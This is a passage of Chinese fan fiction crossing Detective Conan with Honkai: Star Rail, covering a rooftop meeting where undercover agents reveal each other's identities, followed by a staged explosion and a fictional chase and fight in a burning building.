“有什么不适合的?”砂金意有所指地道,“况且你又如何肯定他就是与我们之间毫无关系的局外人?” 诸伏景光欲言又止,之前在娜塔莉的面前,砂金这人看着还挺老实安静的……现在看起来,脸上是还带着笑,言语间却有种不容人拒绝与反驳的霸道和强势, 难怪zero会和砂金的相性不太好,诸伏景光止而又言,“那跟我来吧。” 今天是个“坦白局”,让那孩子加入进来其实也没有什么太大的风险,诸伏景光只是习惯性地不希望将更多的人也牵扯到他们的事情之中……诸伏景光余光又瞥了一眼安静地假装自己不存在的柯南, 不过砂金既然说柯南不是“局外人”,那便应当不是无的放矢,也就是说……诸伏景光自己想想好友的那个推测、都觉得不可思议, 如若推测为真,温和的眼底闪过一丝凝重,那这位柯南小朋友…… 柯南猛得打了个颤,只觉得背后发凉。 …… 虽然约定的地点并非此地,但在场的哪个不是人精?如果连个见面地址都找不对,那对方也没资格坐上与自己平等坦白的那席席位上了。 所以赤井秀一和安室透等人都不曾惊讶于砂金的到场,见到柯南的安室透心下也同诸伏景光想得那般、更加肯定了柯南的真实身份。 不过,安室透不会把这个“秘密”当着赤井秀一的面说出来的, “坦白局”其实也并没有那么“坦白”。 顶楼天台的风吹乱了砂金的额发,砂金放下了柯南,抬手梳了下没打发蜡的鬓角、将一侧有些碍眼的头发捌到耳后。 天台一角,席地而坐的安室透朝好友和砂金招了招手,身边的地上还摆着几听易拉罐式的饮料。 砂金:“咖啡?” “嗯。” 半靠在护栏上的赤井秀一抛了一听给砂金,喝酒……那肯定是不可能的,别看他们现在和和气气的坐在一起,实际上、赤井秀一抬眼随便一扫,就能在对面大楼发现至少三位已经就位了的狙击手, 其中有一名应该是砂金身边不见了的那位沉默寡言的保镖,另外的则是安室透的人手, 当然,赤井秀一自己也安排了己方的狙击手守着其他几位。 在随时可能当场翻脸打起来的局势下,把自己灌醉可不是个明智的选择,就算在场几人酒量都不错也一样。 “没意思,”砂金不像其他几人那么警惕心旺盛,他觉得一点挑战和风险都没有只会让他觉得无聊, 一起坐下来,你说说你、我说说我……这不就和小孩子扮家家一样儿戏了吗? “那你……”赤井秀一对砂金有很大的兴趣,于是在安室透要和砂金呛声前、主动问题,“想怎么样?” 砂金:“聊什么不是聊,不如添点彩头?” “彩头?”赤井秀一下一瞬就猜到了砂金的目标,伸手勾了勾脖子上的吊坠,“你想要的是这个吧,” “可惜了,这东西对我而言也挺重要的,不能轻易给于他人。” 赤井秀一不可能让砂金这个都不知道是不是地球人的神秘存在、那么轻易地拿走吊坠——砂金身上的秘密太多了,赤井秀一不放心对方。 两人至今也不过是第二次面对面相见,不信任才是正常。 “呵,朋友……”砂金眯了眯眼,他开始不爽了,“硬占着他人的东西,可不怎么道德吧?” 砂金发现赤井秀一对他有几分意料外的“熟悉”,这说明赤井秀一曾经也应该和基石碎片产生过共鸣、见过不知道哪个时间段里的自己, 那赤井秀一就应该知道,基石碎片的原主人是谁才对。 “话非如此,”赤井秀一有自己的考量,“应当物归原主的时候,我自然会归还……” 砂金:“现在还不是时候?” 赤井秀一:“这要看你的意思。” 并非赤井秀一恶意占据基石不还,而是赤井秀一需要一个理由,并确保砂金不会用这枚吊坠去做些危险的事。 梦境里的那个世界是光怪陆离、神奇超凡,有着科技发展到高峰的顶级技术,也有玄乎其神、不可名状的至高存在,赤井秀一承认那个世界有着独特的魅力…… 但那个世界若真降临到此世,那对现在他们所生活的当下而言,将只会是场极为可怕的灾难,是上位者对下位者的极致压迫,现在人类的秩序都有可能被强制性破坏得一干二净, 外星文明入侵地球这一题材,可一向是常出现在灾难和恐怖片中的。 砂金和赤井秀一“闲聊”之际…… 诸伏景光顺手把柯南拉到了身边,想给柯南找点喝点、但看了看赤井秀一拎来的那一大塑料袋黑咖啡,硬是没找到适合小孩子……或者说适合小孩子身体喝的东西。 “他是黑咖啡成精吗?”安室透吐槽了句。 诸伏景光笑笑,很温柔地拍拍柯南脑袋、从口袋里摸出几块薄荷糖和巧克力,随后递给柯南,“先吃点这个吧,不用太紧张。”狙击手的习惯让诸伏景光的口袋里常年会塞上几块糖作为能量补充。 “到这坐,”安室透翻了翻自己的口袋,掏出了个小盒子放在一边的箱子上,招呼着柯南也坐在那上面,“走的时候毛利小姐给我打包了点剩下的甜心和饼干,小朋友可以吃。” 柯南僵硬地接下两人的好意,不……等等,柯南看了眼火药味渐浓的赤井秀一和砂金,又看了看这边的温柔祥和、像是在准备野餐的安室透和诸伏景光, 这怎么看,怎么都不对劲儿吧!柯南用灵魂发问, 在场是只有他一个正常人吗? ! …… “好了,”诸伏景光拍了拍手,将赤井秀一和砂金的注意力都引了过来,“人都到齐了,应该可以开始进入正题了吧。” 赤井秀一:“我没意见。” 砂金:“我有。” 安室透:“你没有。” 砂金:“……啧。” 赤井秀一:“难得你竟然会站在我这边……” 安室透:“你也闭嘴,混蛋。” 柯南:“我……” 砂金:“大人说话,小孩子别插嘴。” 随后……气氛便一下冷了起来,诸伏景光开了瓶咖啡喝了一口,易拉罐磕在地上发出声轻响,风也静静地刮过、卷起几人的沉默。 还是不行啊,诸伏景光心想,勾心斗角了那么久,突然说要“坦白”,结果没一个人张得开口的,他也不知道该从哪里说起, 先向所有人承认自己是个卧底?这太考验他一直以来的坚持了,诸伏景光有点迈不过自己曾在心理砌下的那堵墙。 “我就说还有问题吧……”砂金呵地笑了笑,瞥了眼投了他反对票的安室透。 “做为组局的人,”安室透看向赤井秀一,“你不该带头做个表率吗?”反正他才不要认输、当第一个开口的人。 他挺想问砂金是不是外星人的、又有没有打算攻占地球,赤井秀一沉默,但这话……确实不怎么好说出口,尤其是他还不确定安室透和诸伏景光有没有意识到砂金的“身份”, 聊组织的事吧,赤井秀一看了眼柯南,他又不知道砂金将这个孩子带来有何意图,安室透他们不先起个话题、赤井秀一不清楚聊的内容应该有什么范围限制。 在情报差的局限中,赤井秀一和安室透、诸伏景光三人都不知道该怎么打破僵局, 伪装的久了,如何摘下面具……反而成了一件难事。 而柯南……他在努力让自己看上去更像是个无关紧要的吉祥物——所以砂金到底为什么要带他来这里啊? ! “承认吧,”砂金突然心情又不错起来,两只手指捏着咖啡罐晃了晃,像是在晃着宴会上的高脚杯,“你们需要一个赌徒来帮你们丢掉理性,来一场彻头彻尾的疯狂狂欢~” 诸伏景光好脾气地问道,“那你的建议是?” “玩一局吧。”砂金提议着。 赤井秀一有了些兴趣:“你想怎么玩?” “这个吗,”砂金看向安室透,“我们的安室先生有经验,所以先说说赌注好了,谁最后落败……” 砂金笑得不怀好意,随手抛起了咖啡罐,“那就试下被其他人一同追杀的乐趣好了,” “正好我们还需要一场漂亮的退场,不是吗?” 高高飞起的咖啡罐在一瞬间发生变形、咖啡砰一声喷射出来,被击落的易拉罐叽里咕噜的滚落在一旁,柯南眼神也是剧变——有狙击手! 而且,其他人似乎都不意外现在这个局面……柯南感觉到了四起的危机,他与其他几人格格不入的像是两个世界的人, 柯南凝下了神、下了决心,虽说这和他一开始想象的并不一样,但砂金已经带他来了,那他……就尽己所能去听下更多的情报吧, 总不能浪费了这么好的机会! 柯南也未尝不是初生牛犊不怕虎,够有冒险精神的。 “又来这一出,”安室透没好气地应了一声,他还记得上次被砂金摆的那一道呢,“不过,这次的确要有意思多了……” 漂亮的退场吗? 正好,安室透的确需要那个。 赤井秀一感觉到了会被针对的预兆。 “赤井先生,”安室透皮笑肉不笑地点了赤井秀一的名,“他曾经是组织中的一员。” 柯南:! ! ! 什么组织?柯南竭力控制住自己下意识想看向赤井秀一的眼神,心脏剧跳,会是他想的那个吗! “叮咚~” 砂金靠在墙上、打了个响指,模仿了一下计数器,“赤井先生积一分,分数最高者视为输家、独享被追杀大礼包一份~” 诸伏景光很快了然,紧接道,“赤井先生曾经的代号为黑麦威士忌。”自己无法坦白自己,但揭起别人的马甲,那是没有一点心理压力的。 把玩着跳进手里的筹码,砂金继续道,“赤井先生,你现在两分了哦?” 赤井秀一确定了,他的确被针对了——安室透和诸伏景光是一伙的,砂金又和他有矛盾,怎么看都是他吃亏。 但……赤井秀一会因此而畏惧认输吗? “砂金,”赤井秀一加入到了游戏中,“你的另一个身份代号为孔雀。” 认输? 那是绝无可能的。 第135章 孔、孔雀? ! 柯南脑袋里跳出了变小前隐约听的对话,所以…… 砂金先生你果然也和组织有关系! “安室先生也同是组织中的一员,代号波本。” 这是赤井秀一的“反击”,还没从砂金就是孔雀的震惊中回神、柯南头皮又是一麻,接着便听赤井秀一继续道, “绿川先生也一样,代号为苏格兰。” 所以……在场的你们全都有双重身份是吗? 柯南陷入了迷茫, 哦,我也有双重身份啊,那没事了……怎么可能没事啊? ! “哇哦,”砂金眨眨眼, “都是熟人啊。”或者说都是熟酒? 还有砂金先生你……你为什么这么惊讶啊?难道你之前并不知情吗? ! 脑袋里的吐槽在用力吼着,但实际上柯南只是僵硬着一动不动,也不敢动,任他怎么想,都想不到砂金竟然会带他来参加组织“团建”。 柯南现在是生怕在场的人想起来他这个需要灭口的家伙。 “赤井先生曾化名为诸星大,是靠裙带关系加入的组织,啧啧啧……那一位小姐可真是所托非人啊。” 安室透阴阳怪气地说着,自觉理亏的赤井秀一没反驳。 化名?两次了,柯南两次听到了“曾”这个形容,难道现在赤井秀一的身份有变? 下一刻,诸伏景光的话给了柯南答案, “嗯,不过赤井先生的真实身份其实是FBI的秘密探员,为了达到目标、不择手段什么的也挺正常的。” 绿川先生,你这是在替赤井秀一解释苦衷, 还是在火上浇油地挖苦对方? 等等…… F 、 FBI ? !柯南大脑有点宕机,什么时候FBI可以和犯罪坐一起“相谈甚欢”了?难道安室先生他们…… “嗯, 到我了?”见赤井秀一与安室透双双看向自己,砂金笑了笑,“那就……安室先生其实是个公安警察吧。” ……啊,这么直接?柯南死机了,这是可以直接说的吗? “……”安室透顿了顿,有些费解,“这位先生,你冲我开什么火?” 他们难道不该是同一个立场、一致对赤井秀一的吗? “谁让在场的各位里,我就只了解你呢、全米花町最英俊的安室先生?”砂金把手一摊,“而我又不想垫底、没有游戏参与感,所以……就包容包容我吧。” 这场游戏的弱势方不止有赤井秀一一人,砂金也是。 他人不一定了解砂金,但砂金关于其他人的情报也没有多少,而且有关伊达航班长他们的情报、砂金又不可能放出来, 砂金不一定会输,但又很难赢。 可那又怎样? 因为砂金想玩这场游戏,所以他便玩了,和他本身的胜率如何并无关系。 安室透:“……” 安室透看向幼驯染,“所以我说过,那家伙是个混蛋。” 砂·混蛋·金礼貌微笑。 诸伏景光没忍住,唇齿间溜出了丝笑意,在安室透控诉的目光下借着喝水的动作、将笑容掩在易拉罐后,“那我再替砂金先生补充一下好了,” “ zero是最优秀的警察卧底。” “ hiro ,怎么连你也……好吧,”安室透哭笑不得,只好将早想说出口的那句话道出,“ hiro也是最为优秀的警察。” 莫名其妙的感觉自己有点多余的赤井秀一突然明白为什么以前、苏格兰拉偏架的总是帮着波本了,感情不只是因为他俩是战友、还因为他们早有旧识啊。 白切黑的诸伏景光则笑而不语,他也很想说那句话很久了。 很久很久……诸伏景光是说,他也很久没有像现在这样放下身份、脱去伪装,和朋友坐在一起喝喝酒……呃、是喝喝咖啡,闲聊放松了, 这感觉,还挺让人怀念的。 有了砂金这个“乱开枪”的开头,随后的谈话反而更加随意轻松了,甚至有种打雪杖打到最后敌友不分的畅快淋漓,你一言我一语的, 轻松的不像是一场另有所谋的坦白局。 …… “安室先生现在在一家咖啡厅当服务生。” “砂金先生,请不要只抓着我一只羊薅羊毛,好吗?” “我尽量: ) ” “zero的厨艺很好。” “是hiro教的好。” “那我盲猜、赌一个,赤井先生不擅长做饭?” “那家伙血液里流的都是能量棒和针织帽。” “……我只是喜欢方便,波本是个优秀的情报商人。” “黑麦以前在组织里是个狙击手。” “苏格兰也是,我们还互相做过对方的观察手。” “我赌三位在组织里的关系挺不错的。” “别恶心我,谢谢。” “曾经算是不错吧,如果没有那件事的话……所以砂金先生所说也无误。” “孔雀是个赌徒。” “嗨、朋友,这话题转移的有些太僵硬了吧?” “你近期在寻找一些特殊的宝石。” “是又如何?” “砂金,你有攻占地球、统治人类的打算?” “……哈?” “什么?” “……?” …… 赤井秀一突然冒出来的一句话,引来了三个问号,柯南没有反应、因为他还没消化完前面几人零零散散露出那些听上去像是随口一说、但信息量巨大的情报。 一向游刃有余的砂金缓缓地再次眨眨眼,赤井秀一……这是和他的哪段记忆共鸣了,这么忌惮他? 不会是他为了讨债、然后弄瘫了一整颗星球的经济命脉的那一次任务吧?还是他带了艘歼星舰、和另一位星球领导人玩“你猜我和这颗星球谁会先没”的游戏的那一次? 不然,赤井秀一为什么会想到攻占地球、统治人类的那方面去……总不能是因为他看起来就很有危机感吧,砂金觉得自己长得还是挺无害的。 看赤井秀一的样子好像是认真的……安室透迟疑地看了下也在迷茫的砂金,出于对老对手能力的信任、安室透向砂金问道,“砂金先生,我竟然不知道……” “原来你还有这么宏大的计划?” 砂金嘴角微微一抽,“……巧了、朋友,我也不知道。” “那……”诸伏景光看回赤井秀一,砂金没问题、有问题的不就是另一个了吗,“赤井先生,你可以把针织帽摘下来吗?” 让他们确认一下,赤井秀一的脑子是不是被针织帽攻占了,怎么会突然说出这么离谱的话。 看着对砂金身份一无所知的两人,赤井秀一沉沉地吐了口气,如果不是砂金带来的压力、赤井秀一也并未想过要和安室透两人坐下来好好聊聊的, 现在,拯救地球的重担仿佛都压在了他一个人身上。 第136章 赤井秀一知道自己有些草木皆兵、危机感太重, 他的疑心病不比另一位死对头、琴酒的症状轻, 谁都不喜欢用最糟糕的方式去预想结局、焦虑未来,可总要有人为之进行很可能并无必要的假想、减小最糟糕的情况发生的可能性。 就比如现在,赤井秀一顶着安室透和诸伏景光古怪的眼神、在很真白且友好地向砂金进行着询问与试探——虽说赤井秀一没有将基石还于砂金,但他真的已经在尽量示好了, 赤井秀一并未将砂金的存在上报到特殊的机关部门,也没有准备把砂金抓去当实验体,赤井秀一只是希望确认砂金会不会站在地球人类这一边、背后又有无其他阴谋与风险,以便第一时间做出相应的对策。 如若只是他想多了,赤井秀一也不会觉得现在“口出戏言”的他很幼稚、很丢脸、很掉面子,更不会后悔自己的多虑,他只会觉得…… 是误会啊, 那真是再好不过了。 这导致赤井秀一现在还得多解释一句, “我没病。” 他很正常, 真的。 “还有, ”赤井秀一试图为自己正名,“假设、我是指假设,这个世界上突然多出了一个没有任何过去记录、且还有很多奇怪之处的人,你们就不觉得有什么不对劲的地方吗。” 赤井秀一不相信另外两个家伙会真的没有一丝察觉。 砂金眼神有几分闪烁,同时有些好奇地看向安室透,他也挺想知道对方的想法的。 “这……”安室透摸着下巴思考了一会儿,他自然也是聪明人、听得懂赤井秀一的言外之意,砂金身上的不正常之处确实有些多了,首当其冲就是那称得上诡异的运气。 靠彩票发家致富的人……安室透就只见过砂金这么一个。 于是安室透扭头问砂金, “你是刚成精的妖怪?” 赤井秀一:“?” 砂金还没做出反应,赤井秀一的针织帽上冒出了个巨大的问号,一向不喜与人辨解争论、习惯于缄默的赤井秀一忍不住开口, “你不觉得妖怪这种存在很不科学吗?” 小时候在国内长大、听过不少八百万神灵故事的安室透反问道:“那你想说什么?” “比如外星人……” “外星人难道就很科学?” “至少比妖怪科学。” “科学的尽头还是玄学呢!” “……美利坚的风水就是不一样啊,”安室透小声地用所有人都能听到的音量和诸伏景光道,“这思想可真自由开放。” 赤井秀一哑口无言,他也很想说、你们这边的思想可真够迷信封建的。 诸伏景光摸了几块饼干分给砂金和柯南,习以为常地微笑道,“吃点、垫垫肚子,” “不用管他俩。” 别看那俩在外人面前是一个神秘主义、一个冷酷杀手的,吵起架来没比幼稚园小朋友们好到哪里去,诸伏景光习惯的已经不能再习惯了。 砂金和诸伏景光碰了下易拉罐,他对这位成熟、稳重又温和的猫眼男人第一印象挺好的,“干杯,交个朋友。” “干杯。” …… 干……怎么就到干杯环节了? ? ? 大脑运转过速,柯南感觉他头顶快要过热到冒烟了, 短短的“茶话会”时间,柯南思绪如同过山车一般上下开了好几个来回,先是“组织团建”、再到“卧底开会”,又从“真情告白”、跳到了现在的“妖怪大战外星人”…… 捧着白送上门的一大堆情报的侦探先生陷入了沉思与不解,这难道就是出生入死的卧底和普通寻常之人的不同之处吗? “时间差不多了,”砂金朝柯南招了招手,不知道该不该继续忧心自己生命安全的柯南从箱子上蹦下来、朝砂金走去。 砂金把他带到这里来的,不管其他人身份如何、柯南肯定不好不听砂金的话。 “带他回毛利侦探事务所。” 砂金话音一落,一条隐匿在阴影里的身影突然现身、抱起了柯南,柯南此时才猛然发现安室透和赤井秀一的谈话已悄然停止,现场又从一片轻松热闹回到了一开始的沉默凝重, 恍若风雨欲来。 “不,我……”柯南想继续留下,侦探的直觉告诉柯南后面会是更重要的重头戏! 然而冰冷带着枪茧的手捂住了柯南的嘴,伯劳朝砂金点了点头。 “好了,小侦探,”砂金笑眯眯地和柯南探手告别,“今天的收获已经不少了吧,下一张赌桌、未成年禁入噢?” “唔……唔唔——!” 小朋友的反抗无效,伯劳带着柯南再次消失在了阴影里。 …… “开始吧,”估摸着无关人员已经撤离到了安全区域内,安室透起身拍了拍裤腿在地面上蹭上的尘埃。 砂金也随之一笑, “漂亮的退场,即将献上。” “轰——!” 支撑着天台的横梁突然爆炸,平台剧烈震动后轰然崩塌,灵巧跃起的诸伏景光一手攀上另一侧的建筑物、另一手伸出握住了安室透探来的手,一个用力将人甩到安全区, 本就半靠在栏杆处的赤井秀一身体后仰、猛得从天台上跃下,而紧随其后的是…… 一脚蹬在掉落的碎石块上,加速坠落的金发青年笑得张扬,一双仿佛泛着诡异光芒的异瞳里只有一个词——势在必得! “朋友,”砂金追上下坠的赤井秀一,伸手向对方胸前飘荡的吊坠上夺去,“我们还有点私事没了呢,” “禁止离场!” 有力的腰肢硬生生在半空中扭过了身体,赤井秀一抬腿踢开了砂金的胳膊,砂金顺势抓住了对方的脚踝将人往自己的方向扯去。 这见鬼的力气!赤井秀一眉头一皱,挥掌作标、直袭砂金颈侧! 砂金被迫将探出手掌收回、架臂挡住了赤井秀一袭来的攻击,下一刻便提膝踢向赤井秀一的腹部! 在半空中急速下落的两人竟不管不顾地扭打起来,拳拳到肉、招招下了狠劲儿,似要置对方于死地一般! …… 瞄准镜中的两人在面对将要落地摔成一摊肉泥的结局前终于有了自救的打算,戴着针织帽的高大男人硬抗了一计鞭腿、借着惯性反身抓住了另一侧建筑物的窗台,翻身进入到掩体楼内、躲过了突然射出的子弹, 落后的另一人则探手刚巧抓住了一侧因爆炸而歪倒下的排水管道,急速迫降、平安落地…… 远远的巷口停着一辆黑色的保时捷356A ,银色长发的杀手先生此时也放下了手中的狙/击/枪, “呵,两个疯子。” 第137章 “大哥, 波……波本来电。” 车里的伏特加探了探头,哪怕他跟了琴酒许久、也依旧会被大哥的凶恶眼神吓到。 从伏特加手里拿过耳麦,顺手将狙/击/枪丢回车里,琴酒大迈着脚步往废弃的烂尾楼那边赶去。 “有话快说。” 琴酒的语气冰冷中却还带着些……兴奋难耐。 难得在自己的管辖范围内找到了赤井秀一的踪迹, 琴酒很难不心起强烈的胜负欲望和雪耻心理。 [这有什么好急的, ] 耳麦另一端还伴杂着风声,波本似乎还高坐在楼顶的天台没有主动下来, [我能找到赤井秀一一次,就能再找到他第二次、第三次……无穷次, ] [除非他逃向地狱, 不然……呵呵, 他无路可逃。 ] 当初赤井秀一将锅甩到了苏格兰的头上、险些导致苏格兰被组织当作卧底进行处决,和苏格兰关系极好的波本也因此记恨上了赤井秀一,所以琴酒并不意外波本那头的森森杀意, 这一次也是波本率先发现了赤井秀一的行踪、随后告之他情报,琴酒方才从百忙之中抽出时间,专门前来抓捕赤井秀一的。 至于安室透那边的视角…… 没错,情报就是他卖的,安室透理直气壮,身为波本、针对赤井秀一不是很正常的一件事吗? 赤井秀一本人也并不意外现在的局面。 至于爆炸的天台……也许是安室透的手笔,又或许是赤井秀一安排的掩护,再或者两人都很有默契地动了些小手脚,但这又有什么关系呢? 总之,波本与苏格兰、肯定是要和赤井秀一对着干的,只有这样组织才不会起疑心——今日的“退场”一开始便注定是赤井秀一要倒霉一些了,这样才好在组织的眼线下瞒过这场几人之间的小小会议。 而听着波本那边的废话,琴酒抬手就想关掉通讯…… [等等!我说正事好了, ]波本啧了一声,进入正题, [我这边是视野盲区,替我确认一下孔雀他还活着吗。 ] 琴酒正好追到了楼下、停下了脚步——冒然闯进楼内,说不准会被赤井秀一打个黑枪——于是偏头看看了那塌积成一堆破烂的管道, 一只手探出掀开了压在身上的排水管,身上落着灰尘、有些狼狈的年轻人姿态却仍旧肆意,砂金把自己两条腿也从管子堆里拔了出来,挑着眉对琴酒招了下手,“朋友,晚好?” 琴酒深深地看了一眼这位在情报中听说了很多次、但今天却是第一次见面的赌徒,对着波本那边回了一声, “没死。” 还活蹦乱跳的。 “我别的不好说,但运气可是很好的,想死也不容易啊……”砂金活动活动关节,自来熟地凑到了琴酒身边。 琴酒赶到的时候有点晚,正好碰上埋伏的炸/弹爆炸,又在狙击镜中看着砂金和赤井秀一两人不要命似的想置对方于死地, 虽然不知道赤井秀一和孔雀又有何过节,但敌人的敌人、便是朋友,琴酒并不排斥砂金的加入…… 刚抬起的手搭了个空,砂金眯了下眼、看了看退后半步的一米九大高个,有点古怪地问道:“你有洁癖?” 躲什么呢? 琴酒收回打量砂金的目光,疏远冷漠地敷衍道,“不好意思、我鼻子有些敏感,对神秘主义者和赌徒过敏。” 不排斥不代表喜欢接受,琴酒厌恶不受他控制、最喜欢擅作主张、打乱他计划的混乱家伙, 之前是波本和贝尔摩德那种不知道背地里又在谋划些什么的神秘主义者,现在还需要再加上砂金这样、行事完全不考虑后果的赌徒。 “……好吧,”砂金耸了下肩,“我体谅病弱人群。” 病……病弱? 谁? 他那可以徒手扭开叛徒天灵盖的大哥? ! 后面跟上来的伏特加一阵疯狂咳嗽,琴酒忍了忍,“伏特加!” 伏特加:“咳……我在!” 琴酒冷笑着,“需要我再给你放个病假吗。” “呃……不、不用,大哥!”伏特加讪讪地躲在了一边。 [热闹看完了,该做正事了吧, ]耳麦另一边的波本也在调笑着, [让我们想想,该怎么将该死的老鼠…… ] [从老鼠洞里逼出来吧? ] …… 废弃大楼内,赤井秀一熟练地接好为卸力而脱臼的胳膊,背靠在墙体后冷静地分析起现状。 首先, 不管是私仇旧恨、还是为了不被组织怀疑,波本、苏格兰乃至砂金,对面三个人都不会对他有任何的手下留情、暗中放水, 这一点从砂金追下来恨不得和他“同归于尽”开始,便不需要怀疑。 其次……刚刚对着下落的他开枪、险些击中他的狙击手应当是琴酒无疑,赤井秀一重新启动了一下手里的通讯器,信号仍在屏蔽中, 而之前安排好的FBI的人手……那只是为了在安室透面前占据“可以坐下来好好聊聊”的话语权、防止安室透提前卖了他的后手准备罢了, 安室透不从组织那带人、而是从公安调人,也是在防止赤井秀一玩一把釜底抽薪。 说着坦白,其实上每个人都在防着对面。 因此双方带上的人都是“见不得光”的存在,不然安室透就要向组织解释为什么他可以命令公安的警察去和FBI的众多探员硬碰硬了。 这样一来,为了不在琴酒面前露出破绽,赤井秀一早就提前叮嘱过自己的同僚们,如果见到安室透安排的人撤退、他们便也立刻离开此地, 所以直到砂金让人带走那个男孩的时候,坦白局的现场才真正的只剩下安室透、诸伏景光、砂金与他赤井秀一四人。 如此……赤井秀一有了概念, 他得在琴酒这位顶尖杀手也加入到这场“追杀”游戏的情况下,顶着苏格兰这位不输于他的狙击手的准星,躲避波本这位一流情报员的追踪, 同时受着砂金这位不按常理出牌的、可能引起巨大影响的变量, 独自一人闯出这片烂尾楼、逃出生天。 第138章 听上去,会是个很可怕的逃生难度,随手将甩出来的吊坠塞里衣领里,赤井秀一半垂了下眼、掩去了眼底的…… 跃跃欲试, 但他并不畏惧。 —————————— 引蛇出洞,还是驱鼠出穴……不管怎么说,还是得先把人从废弃大楼里撵出来才行。 没人会怀疑赤井秀一的能力是否有水分, 独自进入视野受限的大楼、无疑不是给赤井秀一主动送上弱点。 砂金坐在支楞出来了的一根水管上,晃了晃脚,闭着一只眼、拿手比量了一下对面赤井秀一藏身的大楼,“朋友,你们看……在那个拐角装个烈性炸/弹怎么样?” [然后让坍塌的大楼顺便把我们也砸成饼干人? ]波本外放的声音听不出来什么特殊情绪, [希望你下次发言时,带上脑子。 ] 伏特加悄悄地看了一下漂亮得过分的青年,青年脸上仍挂着笑、好似没听出波本的明讽一样。 “相信我, ”砂金很自信地说, “也许我就刚好站在不会被砸到的地方呢?” [那你为什么不再自信一点直接进去,我会相信赤井秀一的黑枪那时将刚好炸膛、打不到你的。 ] 闻言砂金点了点头,从水管杆子上蹦下来、抬腿就准备往楼走,边走还边说着,“有道理,我去赌一把试试。” “呀……?” 琴酒黑了黑脸,单手拎着赌徒的领子把人放回到杆子上架好,每次出个任务,都像当个保姆似的琴酒竟然已经开始习惯队友们的不靠谱了, 这真是个坏消息。 “苏格兰,你那边视野怎么样。” 琴酒问向另一个保姆,苏格兰随后便也加入到通讯中, [已经换了三个点位了,但依旧视野不清、找不到目标身影……赤井秀一应该在下层区域。 ] “在下层……”嘴角勾了勾,森森杀意溢出,琴酒指挥着伏特加去将车里的东西带过来,“那就让他不得不去上层好了。” …… “咳、咳咳……” 噼里啪啦的细碎爆炸声过后,呛人的烟雾在楼层内蔓延开来,赤井秀一忍了忍生理上的条件反射、向楼下望去, 火光已经燃起——在堆积着各种废弃物的大楼里,火势起得很快,熊熊焰色飞速吞噬着周围的一切,空气中的温度也开始攀升…… 一些建筑杂物燃烧起来会生成有毒的气体,而且楼外一定有琴酒守着,赤井秀一只有向上跑,尝试从天台逃生。 打定了主意,迟则生变、赤井秀一没再犹豫,起身快跑上楼,火海浓烟则在身后追赶。 然而越向上跑去,另一重危机开始显现…… 子弹擦着的脸颊而过、留下一道灼烧的刺痛感,险而又险再次躲过狙击的赤井秀一躲在了两扇窗户之间的墙壁后, 未竣工的顶层四面都未进行封闭,这给了狙击手完美的发挥空间。 “嗨,朋友——!” 赤井秀一刚稳下身形,下一刻便听到了熟悉的声音被风裹挟着钻进耳朵了,哪怕对砂金的行为作风有所了解,但看到对面楼顶向着他这边一跃而起的某道身影、赤井秀一瞳孔依旧猛得一瞬, 智者的天敌、只有疯子——! 做工精良的品牌皮鞋……却不怎么适合剧烈的运动,砂金干脆丢了累赘和妨碍动作的大衣,借着大楼之间的高低差跃进了赤井秀一所在的楼内。 “砰、砰、砰!!!” 接连三枪,赤井秀一的反应很迅速,没有炸膛、没有卡壳、更没有哑弹,子弹从赤井秀一手中的枪口泄出, 瘦削的身影躲避着子弹、却没有后退,反而迎着赤井秀一欺身而上! 基石碎片还在赤井秀一身上,砂金怎么也不会轻易收手的。 砂金的速度也极快,几乎是眨眼之间、便逼近了赤井秀一,随后抬起了拳头…… 赤井秀一从前没见过砂金真的动手,但先前的短暂交手已经让赤井秀一心生警觉,直接侧过头颅内,没去硬接砂金的攻击, 血肉做的拳头猛得和赤井秀一身后的墙壁来了个硬碰硬,崩出个小小裂纹的墙体扬起飞灰,仅从砂金的身形来看、很难想到对方竟然有如此的怪力。 但顾及“外星人”那个猜测,又好像合乎情理了……赤井秀一脑袋里走了一瞬间的神,身体的反射却也没有一丝的迟顿,紧接着在有限的空间内和砂金缠斗起来。 …… “伏特加,继续放火……”楼外,琴酒熟练地把控着局面,命令伏特加将点燃的简易自制燃/烧/瓶丢进大楼里,又对另一端发号着指令, “波本,切断信号、延缓火警到场的时间。” [你命令下得倒是轻松,我又得搭几个人情出去、忙上忙下的,先让我找找能用得上的人…… ]波本嘴上抱怨着,但活也没懈怠, [啊, ] 波本那边突然顿了顿,琴酒敲了下耳麦,“有什么问题?”这边地处临山郊外,几乎没有什么居民,拦截警察行动对波本来说应该不是难事, [环山公路上有辆私家车,] 波本突然道, [应该是在山上野营结束、准备回家的普通人,无其他风险,按车速计算、半小时后会刚好路过这附近,随后可能会发现这边起火、进而报警…… ] “半小时后?” [是,]波本给出了肯定的结论,[不过我在警方系统里有点子门路,可以再拖一拖……一个小时,那边不会注意我们。 ]再多就不好处理了。 琴酒不再强求,“一个小时足够了。” “苏格兰,汇报。” [收到, ]苏格兰应答着, [首次尝试狙击失败,但孔雀已经顺利就位,目前不清楚两人的交手情况……他们仍在死角里。 ] 本身就是狙击手的赤井秀一再清楚不过哪里是安全区了,琴酒没指责苏格兰的一时失手,只下命令道:“守死顶路,赤井秀一一定会从那里突破,如果无法活捉、那便就地枪决,” “今晚,必须将赤井秀一那个老鼠留在这里!” 第139章 “朋友, 我这有笔稳赚不赔的交易、要不要做?” 如果上述的询问是发生在正常生意场合上也就算了……赤井秀一闪开砂金的拳头,但在现在这种关头,赤井秀一是真的提不起谈判的心情。 砂金的招势有经过训练的痕迹, 但却完全没有系统的章法, 打起来是即要命、又不要命的那一种, 想要别人的命, 又不要自己的命。 甚至有好几次存在以伤换伤的趋势, 像是个只知道进行本能反抗和撕咬的野兽, 这种打法正证明了砂金从前是个野路子,而且野了不短的时间, 这导致就算砂金后来有了更系统更全面的指导也改不了之前早就养成的“坏习惯”。 赤井秀一想到了那个因为一条领结而沉默的影子…… 砂金把自己伪装的很好,也只有在这些细枝末节上、才能看出来点砂金藏在令人忌惮的疯狂皮囊与危险外表之下的真实过往。 “什么交易?” 赤井秀一擒住了砂金的胳膊、翻身想将人按在地上,赤井秀一没有打算和砂金谈交易、但可以先听听看砂金又想干些什么。 小小的筹码不像是能做武器的那一类工具,可偏偏被砂金玩得最顺, 指尖弹起的筹码穿过纠缠的人体, 撞向了身后人的胳膊上,赤井秀一手臂一麻、让砂金找了空挣脱开牵制,砂金身都不带转地向后甩腿给了赤井秀一一下, 赤井秀一硬是沉气、就差把脚钉在地上了才止住了踉跄后退的惯力,不然再退后一点…… 身子露出墙来,那苏格兰早已等候着的子弹就要吻上来了。 